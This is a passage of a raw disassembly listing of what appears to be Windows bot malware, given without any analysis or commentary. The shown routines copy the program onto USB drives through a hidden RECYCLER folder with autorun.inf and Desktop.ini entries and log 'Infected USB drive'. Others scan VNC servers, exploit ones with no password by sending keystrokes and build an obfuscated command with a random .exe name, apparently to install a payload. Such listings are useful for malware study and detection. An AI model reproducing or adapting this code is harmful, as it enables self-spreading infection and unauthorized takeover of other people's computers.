dword_43E8EC call sub_429420 lea eax, [ebp+var_8] push 2 push eax push offset dword_43E8F0 call sub_429420 lea eax, [ebp+var_14] push 2 push eax push offset byte_43E8F9 call sub_429420 push dword_43EC60 push offset dword_43A8E8 push offset byte_43E9E1 call sub_429420 add esp, 30h cmp [ebp+var_4], 2 mov ebx, offset byte_43EB61 mov edi, offset byte_43EB65 mov esi, offset byte_43EB6D jnz short loc_407781 push 4 push offset dword_43EBDC push ebx call sub_429420 push 4 push offset dword_43EBD8 push edi call sub_429420 push 4 push offset dword_43EBD4 push esi call sub_429420 add esp, 24h loc_407781: ; CODE XREF: sub_4073A2+3B3j cmp [ebp+var_4], 3 jnz short loc_4077B1 push 4 push offset dword_43EBEC push ebx call sub_429420 push 4 push offset dword_43EBE8 push edi call sub_429420 push 4 push offset dword_43EBE4 push esi call sub_429420 add esp, 24h loc_4077B1: ; CODE XREF: sub_4073A2+3E3j cmp [ebp+var_4], 4 jnz short loc_4077E1 push 4 push offset dword_43EBFC push ebx call sub_429420 push 4 push offset dword_43EBF8 push edi call sub_429420 push 4 push offset dword_43EBF4 push esi call sub_429420 add esp, 24h loc_4077E1: ; CODE XREF: sub_4073A2+413j cmp [ebp+var_4], 5 jnz short loc_407811 push 4 push offset dword_43EC0C push ebx call sub_429420 push 4 push offset dword_43EC08 push edi call sub_429420 push 4 push offset dword_43EC04 push esi call sub_429420 add esp, 24h loc_407811: ; CODE XREF: sub_4073A2+443j cmp [ebp+var_4], 6 jnz short loc_407841 push 4 push offset dword_43EC1C push ebx call sub_429420 push 4 push offset dword_43EC18 push edi call sub_429420 push 4 push offset dword_43EC14 push esi call sub_429420 add esp, 24h loc_407841: ; CODE XREF: sub_4073A2+473j cmp [ebp+var_4], 7 jnz short loc_407871 push 4 push offset dword_43EC2C push ebx call sub_429420 push 4 push offset dword_43EC28 push edi call sub_429420 push 4 push offset dword_43EC24 push esi call sub_429420 add esp, 24h loc_407871: ; CODE XREF: sub_4073A2+4A3j cmp [ebp+var_4], 8 jnz short loc_4078A1 push 4 push offset dword_43EC3C push ebx call sub_429420 push 4 push offset dword_43EC38 push edi call sub_429420 push 4 push offset dword_43EC34 push esi call sub_429420 add esp, 24h loc_4078A1: ; CODE XREF: sub_4073A2+4D3j xor ebx, ebx push ebx push 2FFh push offset dword_43E8D0 push [ebp+var_C] call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz loc_407997 movzx eax, word_44399E push eax lea esi, [ebp+arg_8] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E add esp, 0C8h test eax, eax jz short loc_407964 mov edx, [ebp+arg_B4] mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov eax, edx mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" shl eax, 6 lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+arg_C4], ebx mov ecx, [ecx] jz short loc_407938 cmp [ebp+arg_BC], ebx jnz short loc_407940 push ecx lea ecx, [ebp+arg_8] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A mov edx, [ebp+arg_B4] add esp, 1Ch loc_407938: ; CODE XREF: sub_4073A2+56Aj cmp [ebp+arg_BC], ebx jz short loc_407964 loc_407940: ; CODE XREF: sub_4073A2+572j shl edx, 6 lea eax, [ebp+arg_8] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch loc_407964: ; CODE XREF: sub_4073A2+543j ; sub_4073A2+59Cj push ebx lea eax, [ebp+var_1024] push 1000h push eax push [ebp+var_C] call dword_456F58 ; recv cmp eax, 0Ah jle short loc_407997 cmp [ebp+var_101B], 0 jnz short loc_407997 lea eax, [ebp+arg_8] push eax call sub_401E9E xor eax, eax pop ecx inc eax jmp short loc_4079A5 ; --------------------------------------------------------------------------- loc_407997: ; CODE XREF: sub_4073A2+518j ; sub_4073A2+5DBj ... push [ebp+var_C] jmp short loc_40799D ; --------------------------------------------------------------------------- loc_40799C: ; CODE XREF: sub_4073A2+B2j ; sub_4073A2+CDj ... push edi loc_40799D: ; CODE XREF: sub_4073A2+5F8j call dword_456FF0 ; closesocket loc_4079A3: ; CODE XREF: sub_4073A2+21j ; sub_4073A2+7Aj xor eax, eax loc_4079A5: ; CODE XREF: sub_4073A2+5F3j pop edi pop esi pop ebx leave retn sub_4073A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079AA proc near ; CODE XREF: sub_407E4B+A9p var_502C = byte ptr -502Ch var_502B = byte ptr -502Bh var_291C = byte ptr -291Ch var_291B = byte ptr -291Bh var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 502Ch call sub_429B60 and [ebp+var_291C], 0 push ebx push esi mov edx, 9C3h push edi mov ecx, edx xor eax, eax lea edi, [ebp+var_291B] rep stosd and [ebp+var_502C], 0 mov ecx, edx stosw stosb xor eax, eax lea edi, [ebp+var_502B] rep stosd stosw push 1 stosb call dword_457004 ; SetErrorMode push 2 call dword_457004 ; SetErrorMode push 8000h call dword_457004 ; SetErrorMode push [ebp+arg_0] mov esi, dword_437090 lea eax, [ebp+var_291C] push eax call esi ; dword_437090 lea eax, [ebp+var_291C] push offset aRecycler ; "\\RECYCLER" push eax call esi ; dword_437090 lea eax, [ebp+var_291C] push 0 push eax call dword_43708C ; CreateDirectoryA test eax, eax jnz short loc_407A3F call dword_437170 ; RtlGetLastWin32Error loc_407A3F: ; CODE XREF: sub_4079AA+8Dj mov ebx, dword_437068 lea eax, [ebp+var_291C] push 7 push eax call ebx ; dword_437068 call sub_429B9C push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx lea eax, [ebp+var_20C] push edx push offset aSDDDDDDDDDDDDD ; "\\S-%d-%d-%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d"... push 104h push eax call sub_429BBE add esp, 0A0h lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_291C] push eax call esi ; dword_437090 lea eax, [ebp+var_291C] push 0 push eax call dword_43708C ; CreateDirectoryA test eax, eax jnz short loc_407C2F call dword_437170 ; RtlGetLastWin32Error loc_407C2F: ; CODE XREF: sub_4079AA+27Dj lea eax, [ebp+var_291C] push 7 push eax call ebx ; dword_437068 lea eax, [ebp+var_291C] push offset aDesktop_ini ; "\\Desktop.ini" push eax call esi ; dword_437090 xor eax, eax push eax push 6 push 2 push eax push eax lea eax, [ebp+var_291C] push 40000000h push eax call dword_43705C ; CreateFileA cmp eax, 1 mov [ebp+var_4], eax jb loc_407E11 lea ecx, [ebp+var_8] push 0 push ecx push 3Fh push offset a_shellclassinf ; "[.ShellClassInfo]\r\nCLSID={645FF040-5081"... push eax call dword_437078 ; WriteFile test eax, eax jnz short loc_407C91 mov edi, [ebp+var_4] xor esi, esi jmp loc_407E3D ; --------------------------------------------------------------------------- loc_407C91: ; CODE XREF: sub_4079AA+2DBj push [ebp+var_4] call dword_437044 ; CloseHandle lea eax, [ebp+var_291C] push eax call dword_437088 ; lstrlenA lea eax, [ebp+eax+var_291C] jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CB0: ; CODE XREF: sub_4079AA+30Aj dec eax loc_407CB1: ; CODE XREF: sub_4079AA+304j cmp byte ptr [eax], 5Ch jnz short loc_407CB0 and byte ptr [eax+1], 0 call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq idiv edi lea eax, [ebp+var_108] push edx push offset dword_4439B4 push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push 100h push eax call sub_429BBE add esp, 24h lea eax, [ebp+var_108] push eax lea eax, [ebp+var_291C] push eax call esi ; dword_437090 lea eax, [ebp+var_502C] push 270Fh push eax push 0 call dword_43717C ; GetModuleFileNameA lea eax, [ebp+var_291C] push 1 push eax lea eax, [ebp+var_502C] push eax call dword_437064 ; CopyFileA mov [ebp+var_4], eax lea eax, [ebp+var_291C] push 7 push eax call ebx ; dword_437068 mov ecx, 9C4h xor eax, eax cmp [ebp+var_291C], 5Ch lea edi, [ebp+var_502C] rep stosd lea edi, [ebp+var_291C] jz short loc_407D79 loc_407D73: ; CODE XREF: sub_4079AA+3CDj inc edi cmp byte ptr [edi], 5Ch jnz short loc_407D73 loc_407D79: ; CODE XREF: sub_4079AA+3C7j lea eax, [ebp+var_502C] push offset aAutorunOpen ; "[autorun]\r\nopen=" push eax inc edi call esi ; dword_437090 lea eax, [ebp+var_502C] push edi push eax call esi ; dword_437090 lea eax, [ebp+var_502C] push offset aIconSystemroot ; "\r\nicon=%SystemRoot%\\system32\\SHELL32.dl"... push eax call esi ; dword_437090 lea eax, [ebp+var_502C] push edi push eax call esi ; dword_437090 lea eax, [ebp+var_502C] push offset aShellOpenDefau ; "\r\nshell\\open\\default=1" push eax call esi ; dword_437090 push [ebp+arg_0] mov ecx, 9C4h xor eax, eax lea edi, [ebp+var_291C] rep stosd lea eax, [ebp+var_291C] push eax call esi ; dword_437090 lea eax, [ebp+var_291C] push offset dword_43EC64 push eax call esi ; dword_437090 lea eax, [ebp+var_291C] push 80h push eax call ebx ; dword_437068 xor esi, esi lea eax, [ebp+var_291C] push esi push 7 push 2 push esi push esi push 40000000h push eax call dword_43705C ; CreateFileA mov edi, eax cmp edi, 1 jnb short loc_407E15 loc_407E11: ; CODE XREF: sub_4079AA+2BFj xor eax, eax jmp short loc_407E46 ; --------------------------------------------------------------------------- loc_407E15: ; CODE XREF: sub_4079AA+465j lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_502C] push eax call dword_437088 ; lstrlenA push eax lea eax, [ebp+var_502C] push eax push edi call dword_437078 ; WriteFile test eax, eax jz short loc_407E3D mov esi, [ebp+var_4] loc_407E3D: ; CODE XREF: sub_4079AA+2E2j ; sub_4079AA+48Ej push edi call dword_437044 ; CloseHandle mov eax, esi loc_407E46: ; CODE XREF: sub_4079AA+469j pop edi pop esi pop ebx leave retn sub_4079AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E4B proc near ; DATA XREF: sub_40A9FE+6731o var_27D8 = byte ptr -27D8h var_27D7 = byte ptr -27D7h var_C8 = dword ptr -0C8h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 27D8h call sub_429B60 mov eax, [ebp+arg_0] push esi push edi and [ebp+var_27D8], 0 push 31h mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov dword ptr [eax+0BCh], 1 mov ecx, 9C3h xor eax, eax lea edi, [ebp+var_27D7] rep stosd stosw and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], 20h stosb lea eax, [ebp+var_27D8] mov byte ptr [ebp+arg_0+1], 3Ah push eax push 270Fh call dword_437098 ; GetLogicalDriveStringsA test eax, eax jz loc_407F4C lea ecx, [ebp+var_27D8] push ebx mov [ebp+var_4], ecx mov ebx, offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" mov edi, offset aSInfectedUsbDr ; "%s Infected USB drive: %s" mov esi, offset dword_443F1C loc_407ECC: ; CODE XREF: sub_407E4B+FEj mov al, [ecx] cmp al, 41h mov byte ptr [ebp+arg_0], al jz short loc_407F3D cmp al, 42h jz short loc_407F3D cmp al, 61h jz short loc_407F3D cmp al, 62h jz short loc_407F3D lea eax, [ebp+arg_0] push eax call dword_437094 ; GetDriveTypeA cmp eax, 2 jnz short loc_407F3A lea eax, [ebp+arg_0] push eax call sub_4079AA test eax, eax pop ecx jz short loc_407F3A cmp [ebp+var_18], 0 jz short loc_407F1F cmp [ebp+var_10], 0 jnz short loc_407F25 lea eax, [ebp+arg_0] push eax push ebx push edi push esi push [ebp+var_C8] call sub_41CE4A add esp, 14h loc_407F1F: ; CODE XREF: sub_407E4B+B7j cmp [ebp+var_10], 0 jz short loc_407F3A loc_407F25: ; CODE XREF: sub_407E4B+BDj lea eax, [ebp+arg_0] push eax push ebx push edi push esi push [ebp+var_C8] call sub_41CDD4 add esp, 14h loc_407F3A: ; CODE XREF: sub_407E4B+A3j ; sub_407E4B+B1j ... mov ecx, [ebp+var_4] loc_407F3D: ; CODE XREF: sub_407E4B+88j ; sub_407E4B+8Cj ... mov al, [ecx] inc ecx test al, al jnz short loc_407F3D cmp [ecx], al mov [ebp+var_4], ecx jnz short loc_407ECC pop ebx loc_407F4C: ; CODE XREF: sub_407E4B+62j xor eax, eax pop edi inc eax pop esi leave retn 4 sub_407E4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F55 proc near ; CODE XREF: sub_408B99+604p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi push edi mov edi, [ebp+arg_4] lea eax, [ebp+var_8] xor esi, esi sub edi, eax loc_407F66: ; CODE XREF: sub_407F55+32j push [ebp+arg_4] call sub_4293A0 cmp esi, eax pop ecx jnb short loc_407F7E lea eax, [ebp+esi+var_8] mov cl, [edi+eax] mov [eax], cl jmp short loc_407F83 ; --------------------------------------------------------------------------- loc_407F7E: ; CODE XREF: sub_407F55+1Cj and [ebp+esi+var_8], 0 loc_407F83: ; CODE XREF: sub_407F55+27j inc esi cmp esi, 8 jb short loc_407F66 lea eax, [ebp+var_8] push 0 push eax call sub_4034A5 mov esi, [ebp+arg_0] pop ecx pop ecx push 2 pop edi loc_407F9C: ; CODE XREF: sub_407F55+54j push esi push esi call sub_40366B pop ecx add esi, 8 dec edi pop ecx jnz short loc_407F9C pop edi pop esi leave retn sub_407F55 endp ; =============== S U B R O U T I N E ======================================= sub_407FAF proc near ; CODE XREF: .text:00408398p ; .text:0040841Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi jmp short loc_407FDA ; --------------------------------------------------------------------------- loc_407FB9: ; CODE XREF: sub_407FAF+2Dj mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_456F58 ; recv test eax, eax jz short loc_407FE4 cmp eax, 0FFFFFFFFh jz short loc_407FE4 sub edi, eax add esi, eax loc_407FDA: ; CODE XREF: sub_407FAF+8j test edi, edi jg short loc_407FB9 xor eax, eax inc eax loc_407FE1: ; CODE XREF: sub_407FAF+37j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_407FE4: ; CODE XREF: sub_407FAF+20j ; sub_407FAF+25j xor eax, eax jmp short loc_407FE1 sub_407FAF endp ; =============== S U B R O U T I N E ======================================= sub_407FE8 proc near ; CODE XREF: .text:004083FFp ; .text:00408470p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_408025 xor esi, esi test edi, edi jle short loc_40801F loc_407FF8: ; CODE XREF: sub_407FE8+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_408025 test eax, eax jz short loc_408025 add esi, eax cmp esi, edi jl short loc_407FF8 loc_40801F: ; CODE XREF: sub_407FE8+Ej xor eax, eax inc eax loc_408022: ; CODE XREF: sub_407FE8+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_408025: ; CODE XREF: sub_407FE8+8j ; sub_407FE8+2Bj ... xor eax, eax jmp short loc_408022 sub_407FE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408029 proc near ; CODE XREF: .text:004085BEp ; .text:004085D4p ... var_18 = byte ptr -18h var_10 = byte ptr -10h var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push esi push edi mov esi, offset dword_4553A4 lea edi, [ebp+var_10] mov ax, word_43EE74 movsd movsb mov esi, offset dword_4557C8 lea edi, [ebp+var_18] mov [ebp+var_2], ax mov ax, word_43EE70 movsd mov [ebp+var_6], ax mov ax, word_454038 movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_4080F2 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_40807B: ; CODE XREF: sub_408029+C4j mov eax, [ebp+arg_8] sub eax, esi jz short loc_408098 dec eax jnz short loc_4080E6 push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_456F8C ; send lea eax, [ebp+var_4] jmp short loc_4080A9 ; --------------------------------------------------------------------------- loc_408098: ; CODE XREF: sub_408029+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_456F8C ; send lea eax, [ebp+var_6] loc_4080A9: ; CODE XREF: sub_408029+6Dj push esi push 1 push eax push edi call dword_456F8C ; send push ebx call sub_4293A0 pop ecx cmp eax, 2 push esi jnz short loc_4080C8 push 4 lea eax, [ebp+var_10] jmp short loc_4080CD ; --------------------------------------------------------------------------- loc_4080C8: ; CODE XREF: sub_408029+96j push 5 lea eax, [ebp+var_18] loc_4080CD: ; CODE XREF: sub_408029+9Dj push eax push edi call dword_456F8C ; send push esi push ebx call sub_4293A0 pop ecx push eax push ebx push edi call dword_456F8C ; send loc_4080E6: ; CODE XREF: sub_408029+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_40807B pop ebx jmp short loc_408165 ; --------------------------------------------------------------------------- loc_4080F2: ; CODE XREF: sub_408029+42j dec eax jz short loc_40810E dec eax jnz short loc_408165 mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_456F8C ; send lea eax, [ebp+var_4] jmp short loc_408122 ; --------------------------------------------------------------------------- loc_40810E: ; CODE XREF: sub_408029+CAj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_456F8C ; send lea eax, [ebp+var_6] loc_408122: ; CODE XREF: sub_408029+E3j push esi push 1 push eax push edi call dword_456F8C ; send push [ebp+arg_4] call sub_4293A0 pop ecx cmp eax, 2 push esi jnz short loc_408143 push 4 lea eax, [ebp+var_10] jmp short loc_408148 ; --------------------------------------------------------------------------- loc_408143: ; CODE XREF: sub_408029+111j push 5 lea eax, [ebp+var_18] loc_408148: ; CODE XREF: sub_408029+118j push eax push edi call dword_456F8C ; send push esi push [ebp+arg_4] call sub_4293A0 pop ecx push eax push [ebp+arg_4] push edi call dword_456F8C ; send loc_408165: ; CODE XREF: sub_408029+C7j ; sub_408029+CDj pop edi pop esi leave retn sub_408029 endp ; --------------------------------------------------------------------------- mov eax, 29ECh call sub_429B60 push ebx push ebp push esi push edi mov esi, offset dword_43EF88 lea edi, [esp+7Ch] movsd movsd movsd movsb mov esi, offset dword_43EF84 lea edi, [esp+60h] movsw movsb mov esi, offset dword_4553A4 lea edi, [esp+64h] movsd movsb mov esi, offset dword_43EF80 lea edi, [esp+20h] movsw movsb mov esi, offset dword_43EF7C lea edi, [esp+38h] movsw mov ax, word_43EE70 movsb mov esi, offset loc_43EF78 lea edi, [esp+1Ch] movsw movsb mov [esp+2Ah], ax mov [esp+3Eh], ax mov ax, word_43EF74 xor esi, esi mov [esp+26h], ax mov ax, word_43EF70 push esi push 1 push 2 mov [esp+34h], ax mov [esp+3Ch], esi call dword_456FD0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+14h], edi jnz short loc_408208 push eax call dword_456FF0 ; closesocket loc_408208: ; CODE XREF: .text:004081FFj lea eax, [esp+2A08h] mov word ptr [esp+9Ch], 2 push eax call dword_456F7C ; inet_addr push 170Ch mov [esp+0A4h], eax call dword_456F38 ; ntohs mov [esp+9Eh], ax lea eax, [esp+9Ch] push 10h push eax push edi call dword_456EBC ; connect test eax, eax jnz loc_408B82 mov edi, dword_437190 mov ebp, 3E8h mov ebx, offset byte_4556C8 mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/" loc_408268: ; CODE XREF: .text:00408318j ; .text:0040845Fj ... push 40h lea eax, [esp+0B0h] push 0 push eax call sub_429760 add esp, 0Ch lea eax, [esp+0ACh] push 0 push 40h push eax push dword ptr [esp+20h] call dword_456F58 ; recv test eax, eax jle loc_4088C4 cmp eax, 0FFFFFFFFh jz loc_4088C4 mov eax, [esp+30h] sub eax, 0 jz loc_408874 dec eax jz short loc_4082DC dec eax jnz loc_4088B9 lea eax, [esp+64h] push eax lea eax, [esp+0B0h] push eax call dword_437178 ; lstrcmpiA test eax, eax jz loc_4088C4 loc_4082D5: ; CODE XREF: .text:00408889j xor esi, esi jmp loc_408B82 ; --------------------------------------------------------------------------- loc_4082DC: ; CODE XREF: .text:004082B1j lea eax, [esp+60h] push eax lea eax, [esp+0B0h] push eax call dword_437178 ; lstrcmpiA test eax, eax push 0 jnz short loc_40831D lea eax, [esp+2Eh] push eax call sub_4293A0 pop ecx push eax lea eax, [esp+32h] push eax push dword ptr [esp+20h] call dword_456F8C ; send mov dword ptr [esp+30h], 2 jmp loc_408268 ; --------------------------------------------------------------------------- loc_40831D: ; CODE XREF: .text:004082F3j push 1 push 2 call dword_456FD0 ; socket cmp eax, 0FFFFFFFFh jz loc_408A35 lea eax, [esp+2A08h] push eax call dword_456F7C ; inet_addr push dword ptr [esp+2AACh] mov [esp+94h], eax mov word ptr [esp+90h], 2 call dword_456F38 ; ntohs push 6 push 1 push 2 mov [esp+9Ah], ax call dword_4372BC ; socket lea ecx, [esp+8Ch] push 10h push ecx push eax mov [esp+1Ch], eax call dword_456EBC ; connect test eax, eax jnz loc_408A35 lea eax, [esp+6Ch] push 0Ch push eax push dword ptr [esp+18h] call sub_407FAF add esp, 0Ch test eax, eax jz loc_408A2B lea eax, [esp+2Ch] and byte ptr [esp+78h], 0 push eax lea eax, [esp+38h] push eax lea eax, [esp+74h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_429E0E add esp, 10h push 3 pop eax cmp [esp+34h], eax jl loc_408A2B jnz short loc_4083E2 cmp [esp+2Ch], eax jl loc_408A2B loc_4083E2: ; CODE XREF: .text:004083D6j push 5 push eax lea eax, [esp+74h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_429B03 lea eax, [esp+7Ch] push 0Ch push eax push dword ptr [esp+28h] call sub_407FE8 add esp, 1Ch test eax, eax jz loc_408A2B lea eax, [esp+44h] push 4 push eax push dword ptr [esp+18h] call sub_407FAF add esp, 0Ch test eax, eax jz loc_408A2B mov ecx, [esp+44h] mov eax, ecx mov edx, ecx and eax, 0FF0000h shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, 0FF00h or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [esp+44h], eax sub eax, 0 jz loc_408A35 dec eax jnz loc_408268 push 1 push offset word_454038 push dword ptr [esp+18h] call sub_407FE8 add esp, 0Ch test eax, eax jz loc_408268 lea eax, [esp+48h] push 18h push eax push dword ptr [esp+18h] call sub_407FAF add esp, 0Ch test eax, eax jz loc_408268 mov eax, [esp+48h] xor edx, edx mov dl, [esp+49h] mov ecx, 0FFh shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+4Ah] mov [esp+48h], dx xor edx, edx mov dl, [esp+4Bh] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+50h] mov [esp+4Ah], dx xor edx, edx mov dl, [esp+51h] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+52h] mov [esp+50h], dx xor edx, edx mov dl, [esp+53h] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+54h] mov [esp+52h], dx xor edx, edx mov dl, [esp+55h] shl eax, 8 xor dl, al and dx, cx xor edx, eax mov eax, [esp+5Ch] mov [esp+54h], dx mov ecx, eax mov edx, eax and ecx, 0FF0000h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, 0FF00h or edx, eax lea eax, [esp+2A08h] push eax lea eax, [esp+2F0h] push dword ptr [esp+30h] shr ecx, 8 push dword ptr [esp+3Ch] shl edx, 8 push offset aVncD_DSNopass ; "VNC%d.%d: %s - (NoPass)" or ecx, edx push 2710h push eax mov [esp+74h], ecx call sub_429BBE add esp, 18h cmp dword ptr [esp+2AC4h], 0 jz short loc_40859F lea eax, [esp+2ECh] push eax push offset aS_5 ; "%s" push dword ptr [esp+2A08h] push dword ptr [esp+2A10h] call sub_41CE4A add esp, 10h loc_40859F: ; CODE XREF: .text:0040857Aj push 2710h lea eax, [esp+2F0h] push 0 push eax call sub_429760 lea eax, [esp+2Ch] push 1 push eax push dword ptr [esp+24h] call sub_408029 add esp, 18h push ebp call edi ; dword_437190 lea eax, [esp+28h] push 0 push eax push dword ptr [esp+18h] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 lea eax, [esp+20h] push 2 push eax push dword ptr [esp+18h] call sub_408029 add esp, 0Ch push ebp call edi ; dword_437190 call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx push edx call sub_429B9C push 9 cdq pop ecx idiv ecx lea eax, [esp+1FCh] push edx push offset dword_4439B4 push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_429B03 push 100h push 0 push ebx call sub_429760 add esp, 2Ch cmp dword_456DA8, 0 jnz loc_408713 lea eax, [esp+2A08h] push eax call sub_41E4C1 test eax, eax pop ecx mov dword ptr [esp+18h], offset dword_457CF8 jnz short loc_408687 mov dword ptr [esp+18h], offset dword_457C40 loc_408687: ; CODE XREF: .text:0040867Dj lea eax, [esp+1ECh] push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push eax push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax lea eax, [esp+210h] push eax push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax call sub_401A77 push eax call sub_401A77 push eax push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call sub_401AF0 push eax push dword_454A30 push dword ptr [esp+64h] push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset a7zfry0iusme1 ; "7Zfry0IUSmE1" push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "... push 100h push ebx call sub_429BBE add esp, 68h jmp loc_40879F ; --------------------------------------------------------------------------- loc_408713: ; CODE XREF: .text:0040865Fj push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6." push offset dword_456BA8 push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax push offset dword_456BA8 push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax push offset aEih0f1gakfp0 ; "EiH0f1GakFP0" push esi call 